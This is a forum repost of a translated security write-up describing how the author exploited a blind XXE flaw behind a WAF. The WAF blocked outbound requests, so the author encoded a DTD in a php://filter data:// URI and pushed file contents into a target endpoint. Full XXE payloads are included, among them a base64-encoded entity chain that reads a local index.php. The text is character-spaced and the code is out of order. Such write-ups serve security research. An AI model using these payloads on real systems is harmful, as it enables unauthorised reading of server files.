搜索

[14555] 2019-09-06_绕过WAF限制利用php方法实现OOB-XXE漏洞利用

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2019-09-06_绕过WAF限制利用php方法实现OOB-XXE漏洞利用 绕 过 W A F 限 制 利 用 p h p : 方 法 实 现 O O B - X X E 漏 洞 利 用 c l o u d s   F r e e B u f   2 0 1 9 - 0 9 - 0 6 几 个 星 期 以 前 ， 作 者 在 某 个 几 个 星 期 以 前 ， 作 者 在 某 个 O O B - X X E 漏 洞 测 试 中 遇 到 过 这 样 一 种 场 景 ： 目 标 应 用 后 端 系 统 漏 洞 测 试 中 遇 到 过 这 样 一 种 场 景 ： 目 标 应 用 后 端 系 统 W A F 防 火 墙 阻 挡 了 包 含 防 火 墙 阻 挡 了 包 含 D N S 解 析 在 内 的 所 有 出 站 请 求 （ 解 析 在 内 的 所 有 出 站 请 求 （ O u t g o i n g   R e q u e s t ） ， 但 最 终 ， 通 ） ， 但 最 终 ， 通 过 利 用 过 利 用 p h p : / / f i l t e r / / 的 封 装 协 议 ， 作 者 成 功 实 现 了 的 封 装 协 议 ， 作 者 成 功 实 现 了 O O B - X X E 漏 洞 测 试 。 以 下 是 其 分 享 ： 漏 洞 测 试 。 以 下 是 其 分 享 ： 在 对 目 标 应 用 的 测 试 分 析 时 ， 我 偶 然 发 现 了 其 中 一 个 路 径 调 用 了 一 个 名 为 x m l 的 参 数 ， 但 其 对 应 的 X M L 数 据 值 是 加 密 的 。 之 后 ， 我 发 现 该 x m l 参 数 的 X M L 数 据 在 发 送 到 H T T P 请 求 前 仅 在 客 户 端 实 行 了 加 密 ， 也 就 是 说 ， 其 应 用 后 端 可 能 未 设 置 对 这 些 X M L 数 据 进 行 必 要 验 证 的 措 施 ， 这 样 ， 我 就 想 到 能 否 修 改 这 些 X M L 数 据 以 便 注 入 X X E   P a y l o a d 。 接 下 来 ， 首 先 我 要 找 到 加 密 X M L 数 据 的 J a v a S c r i p t 函 数 ， 但 却 发 现 目 标 应 用 的 J a v a S c r i p t 全 被 静 态 模 块 打 包 器 W e b P a c k 打 包 且 非 常 不 具 可 读 性 和 跟 踪 分 析 性 。 所 以 ， 要 找 到 J a v a S c r i p t 加 密 函 数 是 件 麻 烦 事 ， 之 后 ， 我 想 到 了 在 C h r o m e 浏 览 器 工 具 中 设 置 断 点 ， 在 X M L 数 据 发 送 到 J a v a S c r i p t 加 密 函 数 前 对 它 进 行 修 改 。 这 样 一 来 ， 我 就 可 以 在 其 中 加 入 外 部 实 体 （ e x t e r n a l   e n t i t y ） 进 行 X M L 数 据 构 造 了 ， 但 当 我 把 构 造 好 的 X M L   P a y l o a d 发 送 后 ， 目 标 应 用 好 长 时 间 才 有 响 应 ” E r r o r   w h i l e   p a r s i n g   X M L ” 。 但 当 我 把 其 中 的 外 部 实 体 （ e x t e r n a l   e n t i t y ） 修 改 为     后 ， 目 标 应 用 却 能 及 时 无 误 的 响 应 。 这 种 情 况 ， 我 认 为 目 标 应 用 环 境 中 可 能 部 署 有 W A F 防 火 墙 ， 它 会 把 一 些 出 站 请 求 拒 绝 掉 。 之 后 ， 我 又 尝 试 了 端 口 和 D N S 解 析 请 求 ， 但 都 没 成 功 。 也 就 是 说 ， 现 在 我 面 前 存 在 一 个 X X E 漏 洞 ， 但 是 却 无 能 为 力 。 一 般 来 说 可 能 通 过 探 测 目 标 应 用 内 网 环 境 中 开 放 的 端 口 来 实 现 X X E 利 用 ， 但 其 W A F 防 火 墙 却 阻 挡 了 所 有 出 站 请 求 。 由 于 其 W A F 防 火 墙 未 阻 止 本 机 用 为 外 部 实 体 ， 所 以 ， 我 想 找 到 目 标 应 用 公 开 具 备 的 ， 不 需 c o o k i e 验 证 且 使 用 G E T 参 数 的 路 径 来 实 现 对 某 些 数 据 的 更 改 或 添 加 。 而 这 也 和 目 标 应 用 的 工 作 机 制 非 常 相 符 ， 因 为 它 好 多 路 径 并 未 采 用 c o o k i e 验 证 和 用 户 I D 参 数 的 形 式 来 验 证 身 份 。 考 虑 到 这 一 点 ， 我 就 开 始 认 真 分 析 查 找 ， 最 后 聚 集 于 一 个 路 径 h t t p : / / t a r g e t / e n d p o i n t . p h p ? s i d = [ s e s s i o n _ i d ] & k e y = x x e & v a l = t e s t ， 它 会 调 用 三 个 参 数 ： s i d 、 k e y 和 v a l ， 并 把 k e y 和 v a l 保 存 到 相 应 的 会 话 I D 账 户 中 ， 而 且 我 们 通 过 访 问 该 路 径 就 可 以 获 取 这 三 个 参 数 值 。 所 以 ， 现 在 我 就 想 构 造 一 个 向 路 径 h t t p : / / t a r g e t / e n d p o i n t . p h p ? s i d = [ s e s s i o n _ i d ] & k e y = x x e & v a l = t e s t 发 送 G E T 请 求 的 外 部 实 体 ， 之 后 看 看 该 路 径 下 的 x x e 和 t e s t 值 是 否 已 经 会 发 生 添 加 更 改 ， 因 此 ， 我 构 造 的 X X E   P a y l o a d 如 下 ， 并 把 它 执 行 了 发 送 之 后 ， 当 我 来 到   h t t p : / / t a r g e t / e n d p o i n t . p h p ? s i d = [ s e s s i o n _ i d ]   下 ， 我 发 现 s i d 值 已 经 被 添 加 更 改 ， 也 就 是 说 ， 目 标 应 用 服 务 器 能 正 常 获 取 上 述 实 体 ， 并 会 向 提 供 的 路 径 发 送 G E T 请 求 。 如 下 ： 现 在 思 路 就 慢 慢 清 晰 了 ， 至 少 可 以 证 明 其 X X E 漏 洞 是 存 在 的 ， 我 想 深 入 利 用 看 看 能 否 可 读 取 到 目 标 应 用 的 一 些 本 地 文 件 。 要 读 取 本 地 文 件 ， 我 们 需 要 创 建 一 个 获 取 文 件 的 参 数 实 体 ， 以 及 另 一 个 调 用 该 参 数 实 体 的 实 体 ， 为 此 ， 我 用 到 了 外 部 文 档 类 型 定 义 （ D T D ） 文 件 的 调 用 ， 但 问 题 还 是 一 样 ， 被 W A F 防 火 墙 阻 挡 了 出 站 的 调 用 请 求 ， 部 署 在 我 服 务 器 上 的 D T D 文 件 不 能 被 正 常 调 用 。 这 样 来 说 ， 还 是 防 火 墙 在 作 怪 ， 如 何 来 绕 过 它 呢 ？ 我 想 能 否 存 在 一 种 允 许 文 件 上 传 的 路 径 ， 这 样 我 就 能 上 传 我 的 构 造 D T D 文 件 ， 但 是 ， 目 标 应 用 却 根 本 没 任 何 文 件 上 传 功 能 。 一 番 倒 腾 之 后 ， 我 差 点 放 弃 了 ， 但 是 我 想 到 目 标 应 用 是 P H P 架 构 的 ， 那 我 想 应 该 可 以 用 p h p : / / 封 装 协 议 的 封 装 器 去 获 取   d a t a : / /   U R I 中 的 资 源 吧 ， 这 样 不 就 能 调 用 到 我 的 D T D 文 件 了 吗 ？ 所 以 ， 可 以 定 义 这 样 一 种 参 数 实 体 ： 然 后 把 上 述 参 数 实 体 经 b a s e 6 4 编 码 后 ， 利 用 p h p : / / 封 装 协 议 来 请 求 它 ， 如 下 ： 当 目 标 应 用 的 X M L 解 析 器 执 行 解 析 时 ， 它 会 执 行 以 下 两 个 路 径 的 实 体 解 析 ： [ h t t p : / / l o c a l h o s t / ] ( h t t p : / / l o c a l h o s t / ) : < ! D O C T Y P E   f o o   [                   < ! E L E M E N T   f o o   A N Y   >               < ! E N T I T Y   x x e   S Y S T E M   " h t t p : / / t a r g e t / e n d p o i n t . p h p ? s i d = [ s e s s i o n _ i d ] & k e y = x x e & v a l = t e s t " >         ] >         < p a r a m l i m i t s >             < c o m p o n e n t   n a m e = " L 1 "   m i n = " 2 "   m a x = " 1 0 0 " > & x x e ; < / c o m p o n e n t >         < / p a r a m l i m i t s > < ! E N T I T Y   %   d a t a   S Y S T E M   " p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / D : / p a t h / i n d e x . p h p " >         < ! E N T I T Y   %   p a r a m 1   ' < ! E N T I T Y   e x f i l   S Y S T E M   " h t t p : / / t a r g e t / e n d p o i n t . p h p ? s i d = [ s e s s i o n _ i d ] & # 3 8 ; k e y = x x e & # 3 8 ; v a l = % d a t a ; " > ' > p h p : / / f i l t e r / / r e s o u r c e = d a t a : / / t e x t / p l a i n ; b a s e 6 4 , P C F F T l R J V F k g J S B k Y X R h I F N Z U 1 R F T S A i c G h w O i 8 v Z m l s d G V y L 2 N v b n Z l c n Q u Y m F z Z T Y 0 L W V u Y 2 9 k Z S 9 y Z X N v d X J j Z T 1 m a W x l O i 8 v L 0 Q 6 L 3 B h d G g v a W 5 k Z X g u c G h w I j 4 N C j w h R U 5 U S V R Z I C U g c G F y Y W 0 x I C c 8 I U V O V E l U W S B l e G Z p b C B T W V N U R U 0 g I m h 0 d H A 6 L y 9 0 Y X J n Z X Q v Z W 5 k c G 9 p b n Q u c G h w P 3 N p Z D 1 b c 2 V z c 2 l v b l 9 p Z F 0 m I z M 4 O 2 t l e T 1 4 e G U m I z M 4 O 3 Z h b D 0 l Z G F 0 Y T s i P i c + p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / D : / p a t h / i n d e x . p h p                                 h t t p : / / t a r g e t / e n d p o i n t . p h p ? s i d = [ s e s s i o n _ i d ] & # 3 8 ; k e y = x x e & # 3 8 ; v a l = % d a t a ;
其 中 的 c o n v e r t . b a s e 6 4 - e n c o d e 是 为 了 能 对   i n d e x . p h p   文 件 内 容 更 方 便 的 获 取 。 所 以 最 终 的 X X E   P a y l o a d 为 ： 提 交 发 送 之 后 ， 来 到 目 标 路 径 h t t p : / / t a r g e t / e n d p o i n t . p h p ? s i d = [ s e s s i o n _ i d ] 下 ， 可 以 发 现 经 b a s e 6 4 编 码 的 i n d e x . p h p 文 件 内 容 被 成 功 获 取 ： 当 然 ， 深 入 利 用 之 后 就 能 用 这 种 方 法 来 读 取 一 些 敏 感 的 本 地 文 件 了 。 * 参 考 来 源 ： 参 考 来 源 ： m a h m o u d s e c ， ， c l o u d s 编 译 整 理 ， 转 载 请 注 明 来 自 编 译 整 理 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 < ! D O C T Y P E   r   [             < ! E L E M E N T   r   A N Y   >             < ! E N T I T Y   %   s p   S Y S T E M   " p h p : / / f i l t e r / / r e s o u r c e = d a t a : / / t e x t / p l a i n ; b a s e 6 4 , P C F F T l R J V F k g J S B k Y X R h I F N Z U 1 R F T S A i c G h w O i 8 v Z m l s d G V y L 2 N v b n Z l c n Q u Y m F z Z T Y 0 L W V u Y 2 9 k Z S 9 y Z X N v d X J j Z T 1 m a W x l O i 8 v L 0 Q 6 L 3 B h d G g v a W 5 k Z X g u c G h w I j 4 N C j w h R U 5 U S V R Z I C U g c G F y Y W 0 x I C c 8 I U V O V E l U W S B l e G Z p b C B T W V N U R U 0 g I m h 0 d H A 6 L y 9 0 Y X J n Z X Q v Z W 5 k c G 9 p b n Q u c G h w P 3 N p Z D 1 b c 2 V z c 2 l v b l 9 p Z F 0 m I z M 4 O 2 t l e T 1 4 e G U m I z M 4 O 3 Z h b D 0 l Z G F 0 Y T s i P i c + " >   % s p ;   % p a r a m 1 ;         ] >         < p a r a m l i m i t s >             < c o m p o n e n t   n a m e = " L 1 "   m i n = " 2 "   m a x = " 1 0 0 " > & e x f i l ; < / c o m p o n e n t >         < / p a r a m l i m i t s >
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理